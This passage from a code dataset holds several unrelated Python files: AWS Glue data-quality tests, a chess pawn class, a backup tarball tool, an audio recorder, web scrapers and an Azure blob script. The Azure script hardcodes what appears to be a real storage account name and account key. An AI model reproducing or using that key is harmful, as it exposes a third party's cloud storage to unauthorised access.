wr.data_quality.create_ruleset(\n name=glue_ruleset,\n database=glue_database,\n table=glue_table,\n df_rules=df_rules,\n )\n df_ruleset = wr.data_quality.get_ruleset(name=glue_ruleset)\n assert pandas_equals(df_rules, df_ruleset)\n\n df_results = wr.data_quality.evaluate_ruleset(\n name=glue_ruleset,\n iam_role_arn=glue_data_quality_role,\n number_of_workers=2,\n )\n assert df_results.shape == (4, 4)\n assert df_results[\"Result\"].eq(\"PASS\").all()\n\n\ndef test_ruleset_dqdl(df, path, glue_database, glue_table, glue_ruleset, glue_data_quality_role):\n dqdl_rules = (\n \"Rules = [\"\n \"RowCount between 1 and 6,\"\n 'IsComplete \"c0\",'\n 'Uniqueness \"c0\" > 0.95,'\n 'ColumnValues \"c0\" <= 2,'\n 'IsComplete \"c1\",'\n 'Uniqueness \"c1\" > 0.95,'\n 'ColumnValues \"c1\" <= 2,'\n 'IsComplete \"c2\",'\n 'ColumnValues \"c2\" <= 1'\n \"]\"\n )\n wr.data_quality.create_ruleset(\n name=glue_ruleset,\n database=glue_database,\n table=glue_table,\n dqdl_rules=dqdl_rules,\n )\n df_results = wr.data_quality.evaluate_ruleset(\n name=glue_ruleset,\n iam_role_arn=glue_data_quality_role,\n number_of_workers=2,\n )\n assert df_results[\"Result\"].eq(\"PASS\").all()\n\n\n@pytest.mark.parametrize(\"name\", [False, True])\ndef test_recommendation_ruleset(df, path, name, glue_database, glue_table, glue_ruleset, glue_data_quality_role):\n df_recommended_ruleset = wr.data_quality.create_recommendation_ruleset(\n name=f\"{glue_ruleset}_recommended\" if name else None,\n database=glue_database,\n table=glue_table,\n iam_role_arn=glue_data_quality_role,\n number_of_workers=2,\n )\n df_rules = pd.concat(\n [\n df_recommended_ruleset,\n pd.DataFrame(\n [{\"rule_type\": \"ColumnValues\", \"parameter\": '\"c2\"', \"expression\": \"in [0, 1, 2]\"}],\n ),\n ],\n ignore_index=True,\n )\n wr.data_quality.create_ruleset(\n name=glue_ruleset,\n database=glue_database,\n table=glue_table,\n df_rules=df_rules,\n )\n df_results = wr.data_quality.evaluate_ruleset(\n name=glue_ruleset,\n iam_role_arn=glue_data_quality_role,\n number_of_workers=2,\n additional_run_options={\"CloudWatchMetricsEnabled\": False},\n )\n assert df_results[\"Result\"].eq(\"PASS\").all()\n\n\ndef test_ruleset_fail(df, path, glue_database, glue_table, glue_ruleset, glue_data_quality_role, account_id):\n wr.data_quality.create_ruleset(\n name=glue_ruleset,\n database=glue_database,\n table=glue_table,\n dqdl_rules=\"Rules = [ RowCount between 1 and 3 ]\", # Exclusive\n )\n df_results = wr.data_quality.evaluate_ruleset(\n name=glue_ruleset,\n iam_role_arn=glue_data_quality_role,\n number_of_workers=2,\n catalog_id=account_id,\n )\n assert df_results[\"Result\"][0] == \"FAIL\"\n\n\ndef test_ruleset_pushdown_predicate(path, glue_database, glue_table, glue_ruleset, glue_data_quality_role):\n df = pd.DataFrame({\"c0\": [0, 1, 2, 3], \"c1\": [0, 1, 2, 3], \"c2\": [0, 0, 1, 1]})\n wr.s3.to_parquet(df, path, dataset=True, database=glue_database, table=glue_table, partition_cols=[\"c2\"])\n wr.data_quality.create_ruleset(\n name=glue_ruleset,\n database=glue_database,\n table=glue_table,\n dqdl_rules=\"Rules = [ RowCount between 1 and 3 ]\",\n )\n df_results = wr.data_quality.evaluate_ruleset(\n name=glue_ruleset,\n iam_role_arn=glue_data_quality_role,\n number_of_workers=2,\n additional_options={\n \"pushDownPredicate\": \"(c2 == '0')\",\n },\n )\n assert df_results[\"Result\"].eq(\"PASS\").all()\n\n\ndef test_create_ruleset_already_exists(\n df: pd.DataFrame,\n glue_database: str,\n glue_table: str,\n glue_ruleset: str,\n) -> None:\n with pytest.raises(wr.exceptions.InvalidArgumentCombination):\n wr.data_quality.create_ruleset(\n name=glue_ruleset,\n database=glue_database,\n table=glue_table,\n )\n\n wr.data_quality.create_ruleset(\n name=glue_ruleset,\n database=glue_database,\n table=glue_table,\n dqdl_rules=\"Rules = [ RowCount between 1 and 3 ]\",\n )\n\n with pytest.raises(wr.exceptions.AlreadyExists):\n wr.data_quality.create_ruleset(\n name=glue_ruleset,\n database=glue_database,\n table=glue_table,\n dqdl_rules=\"Rules = [ RowCount between 1 and 3 ]\",\n )\n\n\ndef test_update_ruleset(df: pd.DataFrame, glue_database: str, glue_table: str, glue_ruleset: str) -> None:\n df_rules = pd.DataFrame(\n {\n \"rule_type\": [\"RowCount\", \"IsComplete\", \"Uniqueness\", \"ColumnValues\"],\n \"parameter\": [None, '\"c0\"', '\"c0\"', '\"c1\"'],\n \"expression\": [\"between 1 and 6\", None, \"> 0.95\", \"in [0, 1, 2]\"],\n }\n )\n wr.data_quality.create_ruleset(\n name=glue_ruleset,\n database=glue_database,\n table=glue_table,\n df_rules=df_rules,\n )\n df_rules = pd.concat(\n [\n df_rules,\n pd.DataFrame(\n [{\"rule_type\": \"ColumnValues\", \"parameter\": '\"c2\"', \"expression\": \"in [0, 1, 2]\"}],\n ),\n ],\n ignore_index=True,\n )\n\n wr.data_quality.update_ruleset(name=glue_ruleset, df_rules=df_rules)\n\n df_ruleset = wr.data_quality.get_ruleset(name=glue_ruleset)\n\n assert pandas_equals(df_rules, df_ruleset)\n\n\ndef test_update_ruleset_exceptions(df: pd.DataFrame, glue_ruleset: str) -> None:\n df_rules = pd.DataFrame(\n {\n \"rule_type\": [\"RowCount\"],\n \"parameter\": [None],\n \"expression\": [\"between 1 and 6\"],\n }\n )\n\n with pytest.raises(wr.exceptions.ResourceDoesNotExist):\n wr.data_quality.update_ruleset(name=glue_ruleset, df_rules=df_rules)\n\n with pytest.raises(wr.exceptions.InvalidArgumentValue):\n wr.data_quality.update_ruleset(name=glue_ruleset, df_rules=df_rules, mode=\"append\")\n\n with pytest.raises(wr.exceptions.InvalidArgumentCombination):\n wr.data_quality.update_ruleset(name=glue_ruleset)\n\n\ndef test_upsert_ruleset(df: pd.DataFrame, glue_database: str, glue_table: str, glue_ruleset: str) -> None:\n df_rules = pd.DataFrame(\n {\n \"rule_type\": [\"RowCount\", \"IsComplete\", \"Uniqueness\", \"ColumnValues\"],\n \"parameter\": [None, '\"c0\"', '\"c0\"', '\"c1\"'],\n \"expression\": [\"between 1 and 6\", None, \"> 0.95\", \"in [0, 1, 2]\"],\n }\n )\n wr.data_quality.create_ruleset(\n name=glue_ruleset,\n database=glue_database,\n table=glue_table,\n df_rules=df_rules,\n )\n\n df_upsert = pd.DataFrame(\n {\n \"rule_type\": [\"RowCount\", \"IsComplete\", \"Uniqueness\", \"ColumnValues\"],\n \"parameter\": [None, '\"c0\"', '\"c0\"', '\"c0\"'],\n \"expression\": [\"between 2 and 8\", None, \"> 0.95\", \"in [0, 1, 2]\"],\n }\n )\n\n wr.data_quality.update_ruleset(\n name=glue_ruleset,\n mode=\"upsert\",\n df_rules=df_upsert,\n )\n\n df_ruleset = wr.data_quality.get_ruleset(name=glue_ruleset)\n\n assert df_ruleset.shape == (5, 3)\n row_count = df_ruleset.loc[df_ruleset[\"rule_type\"] == \"RowCount\"]\n assert len(row_count) == 1\n assert row_count.iloc[0][\"expression\"] == \"between 2 and 8\"\n\n\n@pytest.mark.xfail(raises=botocore.exceptions.ClientError, reason=\"Service error when evaluating multiple rulesets.\")\ndef test_two_evaluations_at_once(\n df: pd.DataFrame, glue_database: str, glue_table: str, glue_ruleset: str, glue_data_quality_role: str\n) -> None:\n df_rules1 = pd.DataFrame(\n [\n {\n \"rule_type\": \"RowCount\",\n \"parameter\": None,\n \"expression\": \"between 1 and 6\",\n }\n ]\n )\n df_rules2 = pd.DataFrame(\n [\n {\n \"rule_type\": \"IsComplete\",\n \"parameter\": '\"c0\"',\n \"expression\": None,\n }\n ]\n )\n\n wr.data_quality.create_ruleset(\n name=glue_ruleset,\n database=glue_database,\n table=glue_table,\n df_rules=df_rules1,\n )\n wr.data_quality.create_ruleset(\n name=f\"{glue_ruleset}2\",\n database=glue_database,\n table=glue_table,\n df_rules=df_rules2,\n )\n\n ruleset_names = [glue_ruleset, f\"{glue_ruleset}2\"]\n df_rulesets = wr.data_quality.get_ruleset(name=ruleset_names)\n assert df_rulesets.shape == (2, 4)\n assert df_rulesets[\"ruleset\"].isin(ruleset_names).all()\n\n df_results = wr.data_quality.evaluate_ruleset(\n name=ruleset_names,\n iam_role_arn=glue_data_quality_role,\n number_of_workers=2,\n )\n assert df_results[\"Result\"].eq(\"PASS\").all()\n\n\n@pytest.mark.parametrize(\"prefix\", [\"Rules=[\", \" Rules = [\", \"Rules =[\\n\"])\n@pytest.mark.parametrize(\"suffix\", [\"]\", \" ] \\n\"])\ndef test_parse_rules(df, path, prefix, suffix, glue_database: str, glue_table: str, glue_ruleset: str) -> None:\n dqdl_rules = (\n \" RowCount between 1 and 6 ,\"\n 'ColumnCorrelation \"height\" \"weight\" > 0.8,'\n 'ColumnLength \"Postal_Code\" = 5,'\n 'ColumnValues \"Country\" in [ \"US\", \"CA\", \"UK\" ], '\n 'ColumnValues \"First_Name\" matches \"[a-ZA-Z]*\",'\n 'ColumnValues \"Load_Date\" > (now() - 3 days),'\n ' ColumnValues \"Customer_ID\" between 1 and 2000,'\n 'Completeness \"First_Name\" > 0.95,'\n 'CustomSql \"select count(*) from primary\" between 10 and 20 , '\n 'DataFreshness \"Order_Date\" <= 24 hours,'\n 'DataFreshness \"Order_Date\" between 2 days and 5 days,'\n 'DistinctValuesCount \"State\" > 3,'\n 'Entropy \"Star_Rating\" > 1, '\n 'IsComplete \"email\",'\n 'IsPrimaryKey \"Customer_ID\",'\n 'IsUnique \"email\" ,'\n 'Mean \"Star_Rating\" > 3,'\n 'StandardDeviation \"Star_Rating\" < 1.5,'\n 'Sum \"transaction_total\" > 500000,'\n 'Uniqueness \"email\" = 1.0, '\n 'UniqueValueRatio \"test_score\" between 0 and 0.5'\n )\n\n wr.data_quality.create_ruleset(\n name=glue_ruleset,\n database=glue_database,\n table=glue_table,\n dqdl_rules=prefix + dqdl_rules + suffix,\n )\n\n df_ruleset = wr.data_quality.get_ruleset(name=glue_ruleset)\n assert df_ruleset.shape == (21, 3)\n assert (\n df_ruleset[\"rule_type\"]\n .isin(\n [\n \"RowCount\",\n \"ColumnCorrelation\",\n \"ColumnLength\",\n \"ColumnValues\",\n \"Completeness\",\n \"CustomSql\",\n \"DataFreshness\",\n \"DistinctValuesCount\",\n \"Entropy\",\n \"IsComplete\",\n \"IsPrimaryKey\",\n \"IsUnique\",\n \"Mean\",\n \"StandardDeviation\",\n \"Sum\",\n \"Uniqueness\",\n \"UniqueValueRatio\",\n ]\n )\n .all()\n )\n assert (\n df_ruleset[\"parameter\"].str.startswith('\"', na=True).all()\n and df_ruleset[\"parameter\"].str.endswith('\"', na=True).all()\n )\n assert df_ruleset[\"expression\"].str.startswith((\">\", \"<\", \"=\", \"between\", \"matches\", \"in\"), na=True).all()\n","repo_name":"aws/aws-sdk-pandas","sub_path":"tests/unit/test_data_quality.py","file_name":"test_data_quality.py","file_ext":"py","file_size_in_byte":12190,"program_lang":"python","lang":"en","doc_type":"code","stars":3653,"dataset":"github-code","pt":"32"} +{"seq_id":"29915528257","text":"\ndef junction_or_self(n):\n out = []\n for i in range(n-1, 0, -1):\n if sum([int(d) for d in str(i)])+i == n:\n out.append(i)\n if len(out) == 0:\n return 'Self'\n else:\n return out\n\n","repo_name":"daniel-reich/ubiquitous-fiesta","sub_path":"72XK73LFkd7wuakwZ_18.py","file_name":"72XK73LFkd7wuakwZ_18.py","file_ext":"py","file_size_in_byte":194,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"28297536389","text":"'''\nPlot the histogram of top-k distances\n'''\n\nimport json, sys, collections\nimport numpy as np\nimport scipy\nfrom scipy.stats import gamma\nimport matplotlib\nmatplotlib.use(\"Agg\")\nimport matplotlib.pyplot as plt\n\nwith open(\"ALL_PAIR_JACCARD.json\") as f:\n all_pairs = json.load(f)\n\nprint(\"Get all pairs distribution\")\nall_pair_dists = np.square(np.array(all_pairs).flatten())\ngamma_x = gamma.fit(all_pair_dists)\n\nprint(\"Get top k distance distribution\")\nk = 50\ntopk_dists = np.square(np.sort(all_pairs, axis=1))\ngamma_xk = []\nfor i in range(k):\n dists = topk_dists[:,i]\n gamma_xk.append(gamma.fit(dists))\nmax_x = np.max(all_pair_dists)\nwith open(\"JACCARD_DIST_DIST.json\", \"w\") as f:\n d = [gamma_x, gamma_xk, max_x] \n json.dump(d, f)\nprint(\"Output file\")\n\n","repo_name":"RJMillerLab/minhash-lsh","sub_path":"script/dist_dist.py","file_name":"dist_dist.py","file_ext":"py","file_size_in_byte":768,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"32"} +{"seq_id":"32257598458","text":"manual = open(\"input.txt\").read().splitlines()\ndots = [tuple(map(int,dot.split(','))) for dot in manual if ',' in dot]\ninstructions = [('y' in dot,int(dot[13:])) for dot in manual[len(dots)+1:]]\nm = lambda n,Y: min([v+1 for y,v in n if Y^y] or [1e4])\n\ndef action(dots,instructions):\n b = lambda n,action: abs((n//action)%2*(action-2)-n%action)\n return set((b(x,m(instructions,1)),b(y,m(instructions,0))) for x,y in dots)\n\nvisible=action(dots,instructions)\n\nprint(\"Part 1: {:d}\".format(len(action(dots,instructions[:1]))))\nprint(\"Part 2: \\n{:s}\".format('\\n'.join(''.join(\" #\"[(x,y) in visible] for x in range(m(instructions,1))) for y in range(m(instructions,0)))))\n","repo_name":"paulphys/adventofcode","sub_path":"2021/day13/solve.py","file_name":"solve.py","file_ext":"py","file_size_in_byte":671,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"32"} +{"seq_id":"5988995172","text":"from django.template.loader import render_to_string\nfrom django.core.mail import EmailMultiAlternatives\nfrom apps.order.views import render_to_pdf\nfrom django.http import HttpResponse\n\ndef decrement_product_quantity(order):\n\n for item in order.items.all():\n product = item.product\n product.num_available = product.num_available - item.quantity\n # Maybe try, 'cause may have another products without spoon\n product.spoon.num_available = product.spoon.num_available - item.quantity\n product.save()\n product.spoon.save()\n\ndef send_order_confirmation(order):\n subject = 'DueGatti - Confirmação de pedido'\n from_email = 'duegattibot@gmail.com'\n to = ['ljnunes@outlook.com.br', order.email]\n text_content = 'Seu pedido foi realizado com sucesso!'\n html_content = render_to_string('order_confirmation.html', {'order': order})\n\n pdf = render_to_pdf('order_pdf.html', {'order': order})\n msg = EmailMultiAlternatives(subject, text_content, from_email, to)\n msg.attach_alternative(html_content, \"text/html\")\n\n if pdf:\n name = 'DueGatti - Pedido_#%s.pdf' % order.id\n msg.attach(name, pdf, 'application/pdf')\n\n msg.send()\n","repo_name":"lucasjaroszewski/Due-Gatti","sub_path":"apps/store/utilities.py","file_name":"utilities.py","file_ext":"py","file_size_in_byte":1200,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"8113250512","text":"import json\nfrom converters.build_function import build_function\nimport os\n\ndef write_imports(c_type): \n\n commands = []\n\n with open('./json-functions/' + c_type + '/imports.json') as f:\n data = json.load(f)\n\n for key, value in data.items():\n commands.append('import \"' + value + '\";')\n\n return(commands)\n\ndef write_errors(c_type):\n\n commands = []\n with open('./json-functions/' + c_type + '/errors.json') as f:\n data = json.load(f)\n for key, value in data.items():\n commands.append(\"error \" + str(value) + \";\")\n\n return(commands)\n\ndef write_libraries(c_type): # Isuru\n\n commands = []\n \n with open('./json-functions/' + c_type + '/libraries.json') as f:\n data = json.load(f)\n for key, value in data.items():\n commands.append(\"using \" + str(value) + \";\")\n\n return(commands)\n\ndef write_structs(c_type):\n\n commands = []\n\n with open('./json-functions/' + c_type + '/structs.json') as f:\n data = json.load(f)\n\n for key, value in data.items():\n command = \"struct \" + str(key) + \" {\"\n for param in value:\n command = command + str(param) + \";\"\n command = command + \"}\"\n commands.append(command)\n\n return(commands)\n\ndef write_events(c_type):\n\n commands = []\n\n with open('./json-functions/' + c_type + '/events.json') as f:\n data = json.load(f)\n\n for key, value in data.items():\n command = \"event \" + str(key) + \"(\"\n for param in value:\n command = command + str(param) + \",\"\n command = command[:-1] + \");\"\n commands.append(command)\n\n return(commands)\n\ndef write_modifiers(c_type):\n\n commands = []\n\n with open('./json-functions/' + c_type + '/modifiers.json') as f:\n data = json.load(f)\n\n for key, value in data.items():\n command = \"modifier \" + str(key) + value[0] + \"\\n\"\n for i in range(1,len(value)):\n command = command + \"\\t\"*2 + str(value[i]) + \"\\n\"\n command = command + \"\\t}\\n\"\n commands.append(command)\n\n return(commands)\n\ndef write_variables(c_type):\n\n commands = [\"// state variables to match as in the proxy context (order should be maintained)\\n\"]\n\n with open('./json-functions/' + c_type + '/state_variables.json') as f:\n data = json.load(f)\n for key, value in data.items():\n commands.append(str(value) + \";\\n\")\n\n return(commands)\n\ndef write_constructor(c_type):\n\n commands = [\"constructor() {\"]\n\n with open('./json-functions/' + c_type + '/constructor.json') as f:\n data = json.load(f)\n for key, value in data.items():\n commands.append(\"\\t\" + str(value) + \";\")\n\n commands.append(\"}\\n\")\n\n return(commands)\n\ndef write_body(c_type):\n\n directory = './json-functions/' + c_type + '/functions/' # Replace with the actual directory path\n\n file_paths = []\n for filename in os.listdir(directory):\n filepath = os.path.join(directory, filename)\n if os.path.isfile(filepath):\n file_paths.append(filepath)\n\n file_paths = sorted(file_paths)\n\n commands = []\n\n for function_name in file_paths:\n for f_body in build_function(function_name):\n commands.append(f_body)\n\n return(commands)\n\ndef edit_string(strings, X):\n concatenated_string = \"\"\n\n for string in strings:\n tabbed_string = \"\\t\" * X + string\n concatenated_string += tabbed_string + \"\\n\"\n\n return concatenated_string\n\n","repo_name":"AvianFinance/rule-engine","sub_path":"converters/build_contract.py","file_name":"build_contract.py","file_ext":"py","file_size_in_byte":3458,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"36352340669","text":"import pygame.event\nfrom Classes.Piece import Piece, returnValidMoves, checkValidRange, Block\nfrom settings import PAWN_UPGRADE\n\n\ndef checkIfFreeBlock(board, row, col, distance=1):\n if checkValidRange(row - distance, col) is not True:\n return None\n return board[Block.getBoardIndexRowCol(row - distance, col)].piece is None\n\n\ndef checkIfEnemy(board, color, row, col):\n if checkValidRange(row, col) is not True:\n return None\n return board[Block.getBoardIndexRowCol(row, col)].piece.color != color\n\n\nclass Pawn(Piece):\n def __init__(self, row, col, color):\n super().__init__(row, col, color)\n self.image_path = 'white_pawn.png' if color == 'white' else 'black_pawn.png'\n self.doubleMoveTurn = -1\n\n def getPossibleMoves(self, board):\n moves = []\n if self.color == 'white':\n if checkIfFreeBlock(board, self.row, self.col):\n moves = moves + [(self.row - 1, self.col)]\n if self.row == 6 and checkIfFreeBlock(board, self.row, self.col, 2):\n moves = moves + [(self.row - 2, self.col)]\n\n # Check if enemy in front of pawn\n if checkIfFreeBlock(board, self.row, self.col - 1) is False and checkIfEnemy(board, self.color, self.row - 1, self.col - 1):\n moves = moves + [(self.row - 1, self.col - 1)]\n if checkIfFreeBlock(board, self.row, self.col + 1) is False and checkIfEnemy(board, self.color, self.row - 1, self.col + 1):\n moves = moves + [(self.row - 1, self.col + 1)]\n\n # For black pawns\n else:\n if checkIfFreeBlock(board, self.row, self.col, distance=-1):\n moves = moves + [(self.row + 1, self.col)]\n if self.row == 1 and checkIfFreeBlock(board, self.row, self.col, distance=-2):\n moves = moves + [(self.row + 2, self.col)]\n\n # Check if enemy in front of pawn\n if checkIfFreeBlock(board, self.row, self.col - 1, distance=-1) is False and checkIfEnemy(board, self.color, self.row + 1, self.col - 1):\n moves = moves + [(self.row + 1, self.col - 1)]\n if checkIfFreeBlock(board, self.row, self.col + 1, distance=-1) is False and checkIfEnemy(board, self.color, self.row + 1, self.col + 1):\n moves = moves + [(self.row + 1, self.col + 1)]\n\n return returnValidMoves(moves)\n\n def getAttackedBlocks(self):\n x = -1 if self.color == 'white' else 1\n\n return returnValidMoves([(self.row + x, self.col + x), (self.row + x, self.col - x)])\n\n def move(self, row, col, board):\n super().move(row, col, board)\n if self.color == 'white' and self.row == 0 or self.color == 'black' and self.row == 7:\n pygame.event.post(pygame.event.Event(PAWN_UPGRADE))\n\n\n","repo_name":"noxikoxi/chess","sub_path":"Classes/Pawn.py","file_name":"Pawn.py","file_ext":"py","file_size_in_byte":2808,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"32"} +{"seq_id":"17908761680","text":"import argparse\nfrom enum import Enum\nimport random\nimport time\nimport sys\nfrom select import *\n\nclass Mode(Enum):\n RANDOM = 0\n PERMUTATION = 1\n\ndef analyze(select_func, array, nelem):\n stats = Stats(len(array), nelem)\n start = time.time()\n val = select_func(array, nelem, stats=stats)\n end = time.time()\n stats.time = end - start\n print_selected(array, val)\n\n return stats\n\n\ndef print_selected(arr, selected):\n result = ''\n idx = arr.index(selected)\n for i,x in enumerate(arr):\n if i == idx:\n result += '[{0}]'.format(x)\n else:\n result += '{0}'.format(x)\n result += ' '\n print(result)\n\ndef print_err(*args, **kwargs):\n print(*args, **kwargs, file=sys.stderr)\n\ndef main():\n parser = argparse.ArgumentParser(description='Select program.')\n modes = parser.add_argument_group('Program modes')\n modes.add_argument('-r', help='randomize mode', dest='random_mode', action='store_true')\n modes.add_argument('-p', help='permutation mode', dest='perm_mode', action='store_true')\n args = parser.parse_args()\n\n if not (args.random_mode or args.perm_mode):\n parser.print_usage()\n return 1\n\n mode = Mode.RANDOM if args.random_mode else Mode.PERMUTATION\n\n try:\n length = int(input('length '))\n idx = int(input('index '))\n if idx < 1 or idx > length:\n raise ValueError()\n except ValueError:\n parser.error('Invalid input')\n return 2\n\n if mode == Mode.RANDOM:\n elements = random.sample(range(100*length), length)\n else:\n elements = list(range(1, length + 1))\n random.shuffle(elements)\n\n print_err('array: ' + str(elements))\n print_err('--- Running SELECT ---')\n stats = analyze(select, elements.copy(), idx - 1)\n print_err(stats)\n print_err('--- Running RANDOMIZED SELECT ---')\n rand_stats = analyze(randomized_select, elements.copy(), idx)\n print_err(rand_stats)\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"fredyshox/Algorithms-DataStructures","sub_path":"select/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2006,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"4113747754","text":"import tarfile\nimport os\nfrom datetime import datetime\nfrom .constants import (\n SOURCE_DIR_LIST,\n)\n\n# verify integrity of tarball\n\n\nclass Archive:\n \"\"\"Make a tarball. Archive isn't encrypted yet.\"\"\"\n\n def __init__(\n self,\n ext: str = \"xz\",\n source_dirs=SOURCE_DIR_LIST,\n ):\n self.yolo = True\n self.source_dirs = source_dirs\n self.ext = ext\n\n def make_tarball(\n self,\n tarball_name: str = None,\n ext: str = None,\n source_dirs: list = None,\n verbose=True,\n ):\n if ext is None:\n ext = self.ext\n if source_dirs is None:\n source_dirs = self.source_dirs\n if not isinstance(source_dirs, list):\n if not isinstance(source_dirs, tuple):\n raise TypeError(\n \"source_dirs\",\n source_dirs,\n \"is not a list or tuple\",\n )\n if tarball_name is None:\n now = datetime.now().strftime(\"%d_%b_%Y_%H_%M_%S\")\n tarball_name = f\"backup_on_%s.tar.%s\" % (now, ext)\n is_path = lambda directory: os.path.exists(directory)\n source_dirs = tuple(filter(is_path, source_dirs))\n if not len(source_dirs):\n raise FileNotFoundError(\n \"source_dirs includes 0 \\\n existent paths\"\n )\n i = 0\n try:\n with tarfile.open(tarball_name, f\"w:%s\" % ext) as tar:\n while True:\n if i >= len(source_dirs):\n break\n tar.add(source_dirs[i], arcname=os.path.basename(source_dirs[i]))\n if verbose:\n print(\"Added: %s to tarball\" % source_dirs[i])\n i += 1\n except:\n raise FileNotFoundError(\"tarball not made\")\n\n def decompress_last_backup(self):\n pass\n\n\nif __name__ == \"__main__\":\n Backup()\n","repo_name":"7astro7/spytball","sub_path":"spytball/ball.py","file_name":"ball.py","file_ext":"py","file_size_in_byte":1963,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"42713674098","text":"from tkinter import Tk,Label,Button,Frame,filedialog\nimport pyaudio\nimport os\nimport wave\n\nimport threading\n\ndef iniciar(contador=0):\n global grabando\n global proceso\n grabando=True\n time['text'] = contador\n \n t1=threading.Thread(target=grabacion)\n t1.start()\n proceso=time.after(1000, iniciar, (contador+1))#t2=threadin.thread....\n \ndef parar():\n global grabando\n global proceso\n grabando=False\n time.after_cancel(proceso)\n\ndef direc():\n directorio=filedialog.askdirectory()\n if directorio!=\"\":\n os.chdir(directorio)\n\ndef grabacion():\n FORMAT=pyaudio.paInt16\n CHANNELS=2\n RATE=44100\n CHUNK=1024\n archivo=\"grabacion.wav\"\n\n audio=pyaudio.PyAudio()\n\n stream=audio.open(format=FORMAT,channels=CHANNELS,\n rate=RATE, input=True,\n frames_per_buffer=CHUNK)\n frames=[]\n\n while grabando==True:\n data=stream.read(CHUNK)\n frames.append(data)\n print(\"fin\")\n\n #DETENEMOS GRABACIÓN\n stream.stop_stream()\n stream.close()\n audio.terminate()\n\n #CREAMOS/GUARDAMOS EL ARCHIVO DE AUDIO\n waveFile = wave.open(archivo, 'wb')\n waveFile.setnchannels(CHANNELS)\n waveFile.setsampwidth(audio.get_sample_size(FORMAT))\n waveFile.setframerate(RATE)\n waveFile.writeframes(b''.join(frames))\n waveFile.close()\n\nventana = Tk()\nventana.title('Grabadora')\n\ntime = Label(ventana, fg='red', width=20, font=(\"\",\"30\"))\ntime.pack()\nventana.geometry(\"470x77\")\n \nframe=Frame(ventana)\nbtnIniciar=Button(frame, fg='blue',width=21, text='Iniciar', command=iniciar)\nbtnIniciar.grid(row=1, column=1)\nbtnParar=Button(frame, fg='blue', width=21, text='Parar', command=parar)\nbtnParar.grid(row=1, column=2)\nbtnDir=Button(frame, text=\"Directorio\",width=21,command=direc)\nbtnDir.grid(row=1,column=0)\nframe.pack()\n \nventana.mainloop()\n","repo_name":"antonioam82/grabadora","sub_path":"grabadora.py","file_name":"grabadora.py","file_ext":"py","file_size_in_byte":1846,"program_lang":"python","lang":"es","doc_type":"code","stars":2,"dataset":"github-code","pt":"32"} +{"seq_id":"10809935064","text":"\nfrom azure.storage import *\n\nblob_service = BlobService(account_name='portalvhdszwvb89wr0jbcc', account_key='zsXophkQ+1RoQGRX6DRiu0ASxkmI0Db8prRIVdsBfzEW8O+5Hk3NI4M17uXv+fMd+EMIhPZHYwBBCIQPDpmZ3g==')\n\n#radarpics\n#denispics\n#samples\nblobs = blob_service.list_blobs('radarpics')\ni=0\nfor blob in blobs:\n\ti=i+1\n\t#somehow it changes the wrong property. better C#\n\tblob_service.set_blob_properties('radarpics',blob.name, {'image/jpeg':'x_ms_blob_content_type'})\n\tif (i==1):\n\t\tbreak","repo_name":"davidLif/Rain_app","sub_path":"python_interact_with_azure/azure_testing.py","file_name":"azure_testing.py","file_ext":"py","file_size_in_byte":476,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"35763790097","text":"import urllib3\nfrom bs4 import BeautifulSoup\nimport gspread\nimport pandas as pd\nfrom oauth2client.service_account import ServiceAccountCredentials\nimport os\nimport progressbar\nfrom get_abstract import textRankAlgorithm, getParagraph\nfrom requests_html import HTMLSession\nimport re\nfrom selenium import webdriver\nfrom selenium.webdriver.chrome.options import Options\nimport time\nfrom apscheduler.schedulers.blocking import BlockingScheduler\nfrom twitter_post import getTextDrive, postTwitter, updatePostStatus\ndef get_soup_forbes():\n CHROMEDRIVER_PATH = \"/app/.chromedriver/bin/chromedriver\"\n GOOGLE_CHROME_BIN = os.environ.get('GOOGLE_CHROME_BIN', '/usr/bin/google-chrome')\n\n forbes_url_init = \"https://www.forbes.com/\"\n topic = \"ai-big-data\"\n url = forbes_url_init + topic\n\n chrome_options = Options()\n chrome_options.add_argument('--headless')\n chrome_bin = os.environ.get('GOOGLE_CHROME_BIN', \"chromedriver\")\n chrome_options.binary_location = chrome_bin\n chrome_options.add_argument('--disable-gpu')\n chrome_options.add_argument('--no-sandbox')\n path = os.getcwd()+\"/chromedriver\"\n driver = webdriver.Chrome(executable_path=CHROMEDRIVER_PATH, chrome_options=chrome_options)\n driver.get(url)\n time.sleep(5)\n htmlSource = driver.page_source\n return htmlSource\n\ndef get_df_forbes(soup):\n soup = BeautifulSoup(soup, 'html.parser')\n df = pd.DataFrame(columns = [\"date\",\"type\",\"title\",\"url\",\"abstract\"])\n session = HTMLSession()\n a_tags = soup.findAll('a')\n regex_date = re.compile(r'\\d\\d\\d\\d/\\d\\d/\\d\\d')\n topic = \"ai-big-data\"\n for i in progressbar.progressbar(a_tags):\n h2_tags = i.find('h2')\n if h2_tags is not None:\n title = h2_tags.text.replace(\"\\t\",\"\").replace(\"\\n\",\"\")\n url_new = i.get('href')\n html_new = session.get(url_new)\n soup_new = BeautifulSoup(html_new.html.html, 'html.parser')\n text_new = soup_new.findAll('p')\n paragraph = \"\"\n for i in text_new:\n paragraph += i.text\n abstract = textRankAlgorithm(paragraph)\n date = \"\"\n date = regex_date.search(url_new).group(0)\n type = \"Article - \" + topic\n df = df.append({'date':date, 'type': type, 'title':title, 'url': url_new, 'abstract':abstract}, ignore_index=True)\n return df\n\ndef get_new_forbes():\n soup_forbes = get_soup_forbes()\n df_forbes = get_df_forbes(soup_forbes)\n return df_forbes\n\ndef get_new_mckinsey():\n mckinsey_url_init = \"https://www.mckinsey.com\"\n mckinsey_types = [\"Article\", \"Interview\", \"Commentary\",\"DiscussionPaper\"]\n url = 